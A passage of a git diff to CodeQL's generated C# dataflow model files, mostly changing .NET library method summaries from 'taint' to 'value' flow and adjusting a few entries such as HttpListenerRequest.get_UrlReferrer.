"(System.Composition.Hosting.Core.CompositionContract,System.Composition.Hosting.Core.DependencyAccessor)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Composition.Hosting.Core", "LifetimeContext", False, "AddBoundInstance", "(System.IDisposable)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - - ["System.Composition.Hosting.Core", "LifetimeContext", False, "FindContextWithin", "(System.String)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System.Composition.Hosting.Core", "LifetimeContext", False, "FindContextWithin", "(System.String)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] - ["System.Composition.Hosting.Core", "LifetimeContext", False, "GetOrCreate", "(System.Int32,System.Composition.Hosting.Core.CompositionOperation,System.Composition.Hosting.Core.CompositeActivator)", "", "Argument[1]", "Argument[2].Parameter[1]", "value", "dfc-generated"] - ["System.Composition.Hosting.Core", "LifetimeContext", False, "GetOrCreate", "(System.Int32,System.Composition.Hosting.Core.CompositionOperation,System.Composition.Hosting.Core.CompositeActivator)", "", "Argument[2].ReturnValue", "ReturnValue", "value", "dfc-generated"] - ["System.Composition.Hosting.Core", "LifetimeContext", False, "GetOrCreate", "(System.Int32,System.Composition.Hosting.Core.CompositionOperation,System.Composition.Hosting.Core.CompositeActivator)", "", "Argument[this]", "Argument[2].Parameter[0]", "value", "dfc-generated"] diff --git a/csharp/ql/lib/ext/generated/System.Composition.model.yml b/csharp/ql/lib/ext/generated/System.Composition.model.yml index a9f25ed2b819..609189a7f3b0 100644 --- a/csharp/ql/lib/ext/generated/System.Composition.model.yml +++ b/csharp/ql/lib/ext/generated/System.Composition.model.yml @@ -4,20 +4,21 @@ extensions: pack: codeql/csharp-all extensible: summaryModel data: - - ["System.Composition", "CompositionContext", False, "GetExport", "(System.Composition.Hosting.Core.CompositionContract)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Composition", "CompositionContext", False, "GetExport", "(System.Type)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Composition", "CompositionContext", False, "GetExport", "(System.Type,System.String)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Composition", "CompositionContext", False, "GetExport", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Composition", "CompositionContext", False, "GetExport", "(System.String)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System.Composition", "CompositionContext", False, "GetExport", "(System.Composition.Hosting.Core.CompositionContract)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] + - ["System.Composition", "CompositionContext", False, "GetExport", "(System.Type)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] + - ["System.Composition", "CompositionContext", False, "GetExport", "(System.Type,System.String)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] + - ["System.Composition", "CompositionContext", False, "GetExport", "()", "", "Argument[this]", "ReturnValue", "value", "df-generated"] + - ["System.Composition", "CompositionContext", False, "GetExport", "(System.String)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] - ["System.Composition", "CompositionContext", False, "GetExports", "(System.Type)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Composition", "CompositionContext", False, "GetExports", "(System.Type,System.String)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Composition", "CompositionContext", False, "GetExports", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Composition", "CompositionContext", False, "GetExports", "(System.String)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Composition", "CompositionContext", False, "TryGetExport", "(System.Type,System.Object)", "", "Argument[this]", "Argument[1]", "taint", "df-generated"] - - ["System.Composition", "CompositionContext", False, "TryGetExport", "(System.Type,System.String,System.Object)", "", "Argument[this]", "Argument[2]", "taint", "df-generated"] - - ["System.Composition", "CompositionContext", False, "TryGetExport", "(System.String,TExport)", "", "Argument[this]", "Argument[1]", "taint", "df-generated"] - - ["System.Composition", "CompositionContext", False, "TryGetExport", "(TExport)", "", "Argument[this]", "Argument[0]", "taint", "df-generated"] + - ["System.Composition", "CompositionContext", False, "TryGetExport", "(System.Type,System.Object)", "", "Argument[this]", "Argument[1]", "value", "df-generated"] + - ["System.Composition", "CompositionContext", False, "TryGetExport", "(System.Type,System.String,System.Object)", "", "Argument[this]", "Argument[2]", "value", "df-generated"] + - ["System.Composition", "CompositionContext", False, "TryGetExport", "(System.String,TExport)", "", "Argument[this]", "Argument[1]", "value", "df-generated"] + - ["System.Composition", "CompositionContext", False, "TryGetExport", "(TExport)", "", "Argument[this]", "Argument[0]", "value", "df-generated"] - ["System.Composition", "CompositionContext", True, "TryGetExport", "(System.Composition.Hosting.Core.CompositionContract,System.Object)", "", "Argument[this]", "Argument[1]", "taint", "df-generated"] + - ["System.Composition", "CompositionContext", True, "TryGetExport", "(System.Composition.Hosting.Core.CompositionContract,System.Object)", "", "Argument[this]", "Argument[1]", "value", "df-generated"] - ["System.Composition", "Export", False, "Export", "(T,System.Action)", "", "Argument[0]", "Argument[this].Property[System.Composition.Export`1.Value]", "value", "dfc-generated"] - ["System.Composition", "ExportAttribute", False, "ExportAttribute", "(System.String,System.Type)", "", "Argument[0]", "Argument[this].Property[System.Composition.ExportAttribute.ContractName]", "value", "dfc-generated"] - ["System.Composition", "ExportFactory", False, "ExportFactory", "(System.Func>,TMetadata)", "", "Argument[1]", "Argument[this].Property[System.Composition.ExportFactory`2.Metadata]", "value", "dfc-generated"] diff --git a/csharp/ql/lib/ext/generated/System.Data.Odbc.model.yml b/csharp/ql/lib/ext/generated/System.Data.Odbc.model.yml index 2467fde764c9..84dfc60ba317 100644 --- a/csharp/ql/lib/ext/generated/System.Data.Odbc.model.yml +++ b/csharp/ql/lib/ext/generated/System.Data.Odbc.model.yml @@ -49,7 +49,7 @@ extensions: - ["System.Data.Odbc", "OdbcParameter", False, "ToString", "()", "", "Argument[this].Property[System.Data.Odbc.OdbcParameter.ParameterName]", "ReturnValue", "value", "dfc-generated"] - ["System.Data.Odbc", "OdbcParameter", False, "ToString", "()", "", "Argument[this].SyntheticField[System.Data.Odbc.OdbcParameter._parameterName]", "ReturnValue", "value", "dfc-generated"] - ["System.Data.Odbc", "OdbcParameterCollection", False, "Add", "(System.Data.Odbc.OdbcParameter)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - - ["System.Data.Odbc", "OdbcParameterCollection", False, "Add", "(System.Data.Odbc.OdbcParameter)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["System.Data.Odbc", "OdbcParameterCollection", False, "Add", "(System.Data.Odbc.OdbcParameter)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["System.Data.Odbc", "OdbcParameterCollection", False, "Add", "(System.Data.Odbc.OdbcParameter)", "", "Argument[this]", "Argument[0]", "taint", "df-generated"] - ["System.Data.Odbc", "OdbcParameterCollection", False, "Add", "(System.Data.Odbc.OdbcParameter)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Data.Odbc", "OdbcParameterCollection", False, "Add", "(System.String,System.Data.Odbc.OdbcType)", "", "Argument[0]", "ReturnValue.SyntheticField[System.Data.Odbc.OdbcParameter._parameterName]", "value", "dfc-generated"] diff --git a/csharp/ql/lib/ext/generated/System.Globalization.model.yml b/csharp/ql/lib/ext/generated/System.Globalization.model.yml index 67a30e078d3e..d2215ceef1ad 100644 --- a/csharp/ql/lib/ext/generated/System.Globalization.model.yml +++ b/csharp/ql/lib/ext/generated/System.Globalization.model.yml @@ -17,7 +17,7 @@ extensions: - ["System.Globalization", "CultureInfo", False, "GetCultureInfo", "(System.String,System.String)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["System.Globalization", "CultureInfo", False, "GetCultureInfo", "(System.String,System.String)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] - ["System.Globalization", "CultureInfo", False, "GetCultureInfoByIetfLanguageTag", "(System.String)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["System.Globalization", "CultureInfo", False, "ReadOnly", "(System.Globalization.CultureInfo)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["System.Globalization", "CultureInfo", False, "ReadOnly", "(System.Globalization.CultureInfo)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["System.Globalization", "CultureInfo", False, "ToString", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Globalization", "CultureInfo", False, "get_IetfLanguageTag", "()", "", "Argument[this].Property[System.Globalization.CultureInfo.Name]", "ReturnValue", "value", "dfc-generated"] - ["System.Globalization", "CultureInfo", True, "get_Calendar", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] diff --git a/csharp/ql/lib/ext/generated/System.Linq.Expressions.model.yml b/csharp/ql/lib/ext/generated/System.Linq.Expressions.model.yml index df2a8608eb31..207afa4d38ad 100644 --- a/csharp/ql/lib/ext/generated/System.Linq.Expressions.model.yml +++ b/csharp/ql/lib/ext/generated/System.Linq.Expressions.model.yml @@ -408,24 +408,24 @@ extensions: - ["System.Linq.Expressions", "Expression", True, "Accept", "(System.Linq.Expressions.ExpressionVisitor)", "", "Argument[this]", "ReturnValue", "value", "dfc-generated"] - ["System.Linq.Expressions", "Expression", True, "Reduce", "()", "", "Argument[this]", "ReturnValue", "value", "dfc-generated"] - ["System.Linq.Expressions", "Expression", True, "VisitChildren", "(System.Linq.Expressions.ExpressionVisitor)", "", "Argument[this]", "Argument[0]", "taint", "df-generated"] - - ["System.Linq.Expressions", "Expression", True, "VisitChildren", "(System.Linq.Expressions.ExpressionVisitor)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System.Linq.Expressions", "Expression", True, "VisitChildren", "(System.Linq.Expressions.ExpressionVisitor)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] - ["System.Linq.Expressions", "Expression", False, "Update", "(System.Linq.Expressions.Expression,System.Collections.Generic.IEnumerable)", "", "Argument[1].Element", "ReturnValue", "taint", "df-generated"] - ["System.Linq.Expressions", "Expression", False, "Update", "(System.Linq.Expressions.Expression,System.Collections.Generic.IEnumerable)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Linq.Expressions", "ExpressionVisitor", False, "Visit", "(System.Collections.ObjectModel.ReadOnlyCollection)", "", "Argument[0].Element", "Argument[this]", "taint", "df-generated"] - - ["System.Linq.Expressions", "ExpressionVisitor", False, "Visit", "(System.Collections.ObjectModel.ReadOnlyCollection)", "", "Argument[0].Element", "ReturnValue", "taint", "df-generated"] + - ["System.Linq.Expressions", "ExpressionVisitor", False, "Visit", "(System.Collections.ObjectModel.ReadOnlyCollection)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["System.Linq.Expressions", "ExpressionVisitor", False, "Visit", "(System.Collections.ObjectModel.ReadOnlyCollection,System.Func)", "", "Argument[0].Element", "Argument[1].Parameter[0]", "value", "dfc-generated"] - ["System.Linq.Expressions", "ExpressionVisitor", False, "Visit", "(System.Collections.ObjectModel.ReadOnlyCollection,System.Func)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Linq.Expressions", "ExpressionVisitor", False, "VisitAndConvert", "(System.Collections.ObjectModel.ReadOnlyCollection,System.String)", "", "Argument[0].Element", "Argument[this]", "taint", "df-generated"] - - ["System.Linq.Expressions", "ExpressionVisitor", False, "VisitAndConvert", "(System.Collections.ObjectModel.ReadOnlyCollection,System.String)", "", "Argument[0].Element", "ReturnValue", "taint", "df-generated"] + - ["System.Linq.Expressions", "ExpressionVisitor", False, "VisitAndConvert", "(System.Collections.ObjectModel.ReadOnlyCollection,System.String)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["System.Linq.Expressions", "ExpressionVisitor", False, "VisitAndConvert", "(T,System.String)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - - ["System.Linq.Expressions", "ExpressionVisitor", False, "VisitAndConvert", "(T,System.String)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["System.Linq.Expressions", "ExpressionVisitor", False, "VisitAndConvert", "(T,System.String)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["System.Linq.Expressions", "ExpressionVisitor", True, "Visit", "(System.Linq.Expressions.Expression)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Linq.Expressions", "ExpressionVisitor", True, "VisitBinary", "(System.Linq.Expressions.BinaryExpression)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - - ["System.Linq.Expressions", "ExpressionVisitor", True, "VisitBinary", "(System.Linq.Expressions.BinaryExpression)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["System.Linq.Expressions", "ExpressionVisitor", True, "VisitBinary", "(System.Linq.Expressions.BinaryExpression)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["System.Linq.Expressions", "ExpressionVisitor", True, "VisitBlock", "(System.Linq.Expressions.BlockExpression)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Linq.Expressions", "ExpressionVisitor", True, "VisitCatchBlock", "(System.Linq.Expressions.CatchBlock)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Linq.Expressions", "ExpressionVisitor", True, "VisitConditional", "(System.Linq.Expressions.ConditionalExpression)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - - ["System.Linq.Expressions", "ExpressionVisitor", True, "VisitConditional", "(System.Linq.Expressions.ConditionalExpression)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["System.Linq.Expressions", "ExpressionVisitor", True, "VisitConditional", "(System.Linq.Expressions.ConditionalExpression)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["System.Linq.Expressions", "ExpressionVisitor", True, "VisitConstant", "(System.Linq.Expressions.ConstantExpression)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Linq.Expressions", "ExpressionVisitor", True, "VisitDebugInfo", "(System.Linq.Expressions.DebugInfoExpression)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Linq.Expressions", "ExpressionVisitor", True, "VisitDefault", "(System.Linq.Expressions.DefaultExpression)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] @@ -433,22 +433,22 @@ extensions: - ["System.Linq.Expressions", "ExpressionVisitor", True, "VisitElementInit", "(System.Linq.Expressions.ElementInit)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Linq.Expressions", "ExpressionVisitor", True, "VisitExtension", "(System.Linq.Expressions.Expression)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Linq.Expressions", "ExpressionVisitor", True, "VisitGoto", "(System.Linq.Expressions.GotoExpression)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - - ["System.Linq.Expressions", "ExpressionVisitor", True, "VisitGoto", "(System.Linq.Expressions.GotoExpression)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["System.Linq.Expressions", "ExpressionVisitor", True, "VisitGoto", "(System.Linq.Expressions.GotoExpression)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["System.Linq.Expressions", "ExpressionVisitor", True, "VisitIndex", "(System.Linq.Expressions.IndexExpression)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - - ["System.Linq.Expressions", "ExpressionVisitor", True, "VisitIndex", "(System.Linq.Expressions.IndexExpression)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["System.Linq.Expressions", "ExpressionVisitor", True, "VisitIndex", "(System.Linq.Expressions.IndexExpression)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["System.Linq.Expressions", "ExpressionVisitor", True, "VisitInvocation", "(System.Linq.Expressions.InvocationExpression)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - - ["System.Linq.Expressions", "ExpressionVisitor", True, "VisitInvocation", "(System.Linq.Expressions.InvocationExpression)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["System.Linq.Expressions", "ExpressionVisitor", True, "VisitInvocation", "(System.Linq.Expressions.InvocationExpression)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["System.Linq.Expressions", "ExpressionVisitor", True, "VisitLabel", "(System.Linq.Expressions.LabelExpression)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Linq.Expressions", "ExpressionVisitor", True, "VisitLabelTarget", "(System.Linq.Expressions.LabelTarget)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Linq.Expressions", "ExpressionVisitor", True, "VisitLambda", "(System.Linq.Expressions.Expression)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Linq.Expressions", "ExpressionVisitor", True, "VisitListInit", "(System.Linq.Expressions.ListInitExpression)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Linq.Expressions", "ExpressionVisitor", True, "VisitLoop", "(System.Linq.Expressions.LoopExpression)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Linq.Expressions", "ExpressionVisitor", True, "VisitMember", "(System.Linq.Expressions.MemberExpression)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - - ["System.Linq.Expressions", "ExpressionVisitor", True, "VisitMember", "(System.Linq.Expressions.MemberExpression)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["System.Linq.Expressions", "ExpressionVisitor", True, "VisitMember", "(System.Linq.Expressions.MemberExpression)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["System.Linq.Expressions", "ExpressionVisitor", True, "VisitMemberAssignment", "(System.Linq.Expressions.MemberAssignment)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - - ["System.Linq.Expressions", "ExpressionVisitor", True, "VisitMemberAssignment", "(System.Linq.Expressions.MemberAssignment)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["System.Linq.Expressions", "ExpressionVisitor", True, "VisitMemberAssignment", "(System.Linq.Expressions.MemberAssignment)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["System.Linq.Expressions", "ExpressionVisitor", True, "VisitMemberBinding", "(System.Linq.Expressions.MemberBinding)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - - ["System.Linq.Expressions", "ExpressionVisitor", True, "VisitMemberBinding", "(System.Linq.Expressions.MemberBinding)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["System.Linq.Expressions", "ExpressionVisitor", True, "VisitMemberBinding", "(System.Linq.Expressions.MemberBinding)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["System.Linq.Expressions", "ExpressionVisitor", True, "VisitMemberInit", "(System.Linq.Expressions.MemberInitExpression)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Linq.Expressions", "ExpressionVisitor", True, "VisitMemberListBinding", "(System.Linq.Expressions.MemberListBinding)", "", "Argument[0].Property[System.Linq.Expressions.MemberListBinding.Initializers]", "ReturnValue.Property[System.Linq.Expressions.MemberListBinding.Initializers]", "value", "dfc-generated"] - ["System.Linq.Expressions", "ExpressionVisitor", True, "VisitMemberListBinding", "(System.Linq.Expressions.MemberListBinding)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] diff --git a/csharp/ql/lib/ext/generated/System.Linq.model.yml b/csharp/ql/lib/ext/generated/System.Linq.model.yml index 5df8d2ebac4d..7f25e2078365 100644 --- a/csharp/ql/lib/ext/generated/System.Linq.model.yml +++ b/csharp/ql/lib/ext/generated/System.Linq.model.yml @@ -157,7 +157,7 @@ extensions: - ["System.Linq", "Enumerable", False, "SingleOrDefault", "(System.Collections.Generic.IEnumerable,System.Func,TSource)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] - ["System.Linq", "Enumerable", False, "SingleOrDefault", "(System.Collections.Generic.IEnumerable,TSource)", "", "Argument[0].Element", "ReturnValue", "value", "dfc-generated"] - ["System.Linq", "Enumerable", False, "SingleOrDefault", "(System.Collections.Generic.IEnumerable,TSource)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] - - ["System.Linq", "Enumerable", False, "SkipLast", "(System.Collections.Generic.IEnumerable,System.Int32)", "", "Argument[0].Element", "ReturnValue", "taint", "df-generated"] + - ["System.Linq", "Enumerable", False, "SkipLast", "(System.Collections.Generic.IEnumerable,System.Int32)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["System.Linq", "Enumerable", False, "Take", "(System.Collections.Generic.IEnumerable,System.Range)", "", "Argument[0].Element", "ReturnValue", "taint", "df-generated"] - ["System.Linq", "Enumerable", False, "TakeLast", "(System.Collections.Generic.IEnumerable,System.Int32)", "", "Argument[0].Element", "ReturnValue", "taint", "df-generated"] - ["System.Linq", "Enumerable", False, "ToDictionary", "(System.Collections.Generic.IEnumerable>)", "", "Argument[0].Element.Property[System.Collections.Generic.KeyValuePair`2.Key]", "ReturnValue.Element.Property[System.Collections.Generic.KeyValuePair`2.Key]", "value", "dfc-generated"] diff --git a/csharp/ql/lib/ext/generated/System.Net.model.yml b/csharp/ql/lib/ext/generated/System.Net.model.yml index a3a4da217a17..d21f1e15fb9d 100644 --- a/csharp/ql/lib/ext/generated/System.Net.model.yml +++ b/csharp/ql/lib/ext/generated/System.Net.model.yml @@ -47,6 +47,7 @@ extensions: - ["System.Net", "HttpListenerRequest", False, "get_ProtocolVersion", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Net", "HttpListenerRequest", False, "get_RawUrl", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Net", "HttpListenerRequest", False, "get_Url", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System.Net", "HttpListenerRequest", False, "get_UrlReferrer", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Net", "HttpListenerRequest", False, "get_UserAgent", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Net", "HttpListenerRequest", False, "get_UserHostName", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Net", "HttpListenerResponse", False, "AppendCookie", "(System.Net.Cookie)", "", "Argument[0]", "Argument[this].Property[System.Net.HttpListenerResponse.Cookies].Element", "value", "dfc-generated"] @@ -292,7 +293,6 @@ extensions: - ["System.Net", "HttpListenerRequest", "get_RequestTraceIdentifier", "()", "summary", "df-generated"] - ["System.Net", "HttpListenerRequest", "get_ServiceName", "()", "summary", "df-generated"] - ["System.Net", "HttpListenerRequest", "get_TransportContext", "()", "summary", "df-generated"] - - ["System.Net", "HttpListenerRequest", "get_UrlReferrer", "()", "summary", "df-generated"] - ["System.Net", "HttpListenerRequest", "get_UserHostAddress", "()", "summary", "df-generated"] - ["System.Net", "HttpListenerRequest", "get_UserLanguages", "()", "summary", "df-generated"] - ["System.Net", "HttpListenerResponse", "Abort", "()", "summary", "df-generated"] diff --git a/csharp/ql/lib/ext/generated/System.Reflection.model.yml b/csharp/ql/lib/ext/generated/System.Reflection.model.yml index 6758f9e29f0a..d743a5349273 100644 --- a/csharp/ql/lib/ext/generated/System.Reflection.model.yml +++ b/csharp/ql/lib/ext/generated/System.Reflection.model.yml @@ -123,7 +123,7 @@ extensions: - ["System.Reflection", "MethodInfo", True, "get_ReturnParameter", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Reflection", "MethodInfo", True, "get_ReturnType", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Reflection", "MethodInfo", True, "get_ReturnTypeCustomAttributes", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Reflection", "MethodInfoExtensions", False, "GetBaseDefinition", "(System.Reflection.MethodInfo)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["System.Reflection", "MethodInfoExtensions", False, "GetBaseDefinition", "(System.Reflection.MethodInfo)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["System.Reflection", "MethodInvoker", False, "Invoke", "(System.Object)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["System.Reflection", "MethodInvoker", False, "Invoke", "(System.Object)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Reflection", "MethodInvoker", False, "Invoke", "(System.Object,System.Object)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] @@ -204,7 +204,7 @@ extensions: - ["System.Reflection", "ReflectionContext", True, "MapType", "(System.Reflection.TypeInfo)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Reflection", "ReflectionTypeLoadException", False, "get_Message", "()", "", "Argument[this].Property[System.Exception.Message]", "ReturnValue", "value", "dfc-generated"] - ["System.Reflection", "RuntimeReflectionExtensions", False, "GetMethodInfo", "(System.Delegate)", "", "Argument[0].Property[System.Delegate.Method]", "ReturnValue", "value", "dfc-generated"] - - ["System.Reflection", "RuntimeReflectionExtensions", False, "GetRuntimeBaseDefinition", "(System.Reflection.MethodInfo)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["System.Reflection", "RuntimeReflectionExtensions", False, "GetRuntimeBaseDefinition", "(System.Reflection.MethodInfo)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["System.Reflection", "RuntimeReflectionExtensions", False, "GetRuntimeInterfaceMap", "(System.Reflection.TypeInfo,System.Type)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["System.Reflection", "TypeInfo", True, "AsType", "()", "", "Argument[this]", "ReturnValue", "value", "dfc-generated"] - ["System.Reflection", "TypeInfo", True, "GetDeclaredEvent", "(System.String)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] diff --git a/csharp/ql/lib/ext/generated/System.Runtime.CompilerServices.model.yml b/csharp/ql/lib/ext/generated/System.Runtime.CompilerServices.model.yml index 2134ee1b6c13..d6cbb9f2b724 100644 --- a/csharp/ql/lib/ext/generated/System.Runtime.CompilerServices.model.yml +++ b/csharp/ql/lib/ext/generated/System.Runtime.CompilerServices.model.yml @@ -67,7 +67,7 @@ extensions: - ["System.Runtime.CompilerServices", "RuntimeOps", False, "ExpandoTrySetValue", "(System.Dynamic.ExpandoObject,System.Object,System.Int32,System.Object,System.String,System.Boolean)", "", "Argument[3]", "ReturnValue", "value", "dfc-generated"] - ["System.Runtime.CompilerServices", "RuntimeOps", False, "MergeRuntimeVariables", "(System.Runtime.CompilerServices.IRuntimeVariables,System.Runtime.CompilerServices.IRuntimeVariables,System.Int32[])", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["System.Runtime.CompilerServices", "RuntimeOps", False, "MergeRuntimeVariables", "(System.Runtime.CompilerServices.IRuntimeVariables,System.Runtime.CompilerServices.IRuntimeVariables,System.Int32[])", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] - - ["System.Runtime.CompilerServices", "RuntimeOps", False, "Quote", "(System.Linq.Expressions.Expression,System.Object,System.Object[])", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["System.Runtime.CompilerServices", "RuntimeOps", False, "Quote", "(System.Linq.Expressions.Expression,System.Object,System.Object[])", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["System.Runtime.CompilerServices", "RuntimeWrappedException", False, "RuntimeWrappedException", "(System.Object)", "", "Argument[0]", "Argument[this].SyntheticField[System.Runtime.CompilerServices.RuntimeWrappedException._wrappedException]", "value", "dfc-generated"] - ["System.Runtime.CompilerServices", "RuntimeWrappedException", False, "get_WrappedException", "()", "", "Argument[this].SyntheticField[System.Runtime.CompilerServices.RuntimeWrappedException._wrappedException]", "ReturnValue", "value", "dfc-generated"] - ["System.Runtime.CompilerServices", "StrongBox", False, "StrongBox", "(T)", "", "Argument[0]", "Argument[this].Field[System.Runtime.CompilerServices.StrongBox`1.Value]", "value", "dfc-generated"] diff --git a/csharp/ql/lib/ext/generated/System.ServiceModel.Syndication.model.yml b/csharp/ql/lib/ext/generated/System.ServiceModel.Syndication.model.yml index 0c9697edaa8f..ff97c65c48f5 100644 --- a/csharp/ql/lib/ext/generated/System.ServiceModel.Syndication.model.yml +++ b/csharp/ql/lib/ext/generated/System.ServiceModel.Syndication.model.yml @@ -76,6 +76,7 @@ extensions: - ["System.ServiceModel.Syndication", "SyndicationFeedFormatter", True, "ReadFrom", "(System.Xml.XmlReader)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["System.ServiceModel.Syndication", "SyndicationFeedFormatter", True, "SetFeed", "(System.ServiceModel.Syndication.SyndicationFeed)", "", "Argument[0]", "Argument[this].SyntheticField[System.ServiceModel.Syndication.SyndicationFeedFormatter._feed]", "value", "dfc-generated"] - ["System.ServiceModel.Syndication", "SyndicationItem", False, "AddPermalink", "(System.Uri)", "", "Argument[0].Property[System.Uri.AbsoluteUri]", "Argument[this].Property[System.ServiceModel.Syndication.SyndicationItem.Id]", "value", "dfc-generated"] + - ["System.ServiceModel.Syndication", "SyndicationItem", False, "AddPermalink", "(System.Uri)", "", "Argument[0]", "Argument[this].Property[System.ServiceModel.Syndication.SyndicationItem.Id]", "taint", "dfc-generated"] - ["System.ServiceModel.Syndication", "SyndicationItem", False, "SyndicationItem", "(System.ServiceModel.Syndication.SyndicationItem)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["System.ServiceModel.Syndication", "SyndicationItem", False, "SyndicationItem", "(System.String,System.ServiceModel.Syndication.SyndicationContent,System.Uri,System.String,System.DateTimeOffset)", "", "Argument[1]", "Argument[this].Property[System.ServiceModel.Syndication.SyndicationItem.Content]", "value", "dfc-generated"] - ["System.ServiceModel.Syndication", "SyndicationItem", False, "SyndicationItem", "(System.String,System.ServiceModel.Syndication.SyndicationContent,System.Uri,System.String,System.DateTimeOffset)", "", "Argument[3]", "Argument[this].Property[System.ServiceModel.Syndication.SyndicationItem.Id]", "value", "dfc-generated"] diff --git 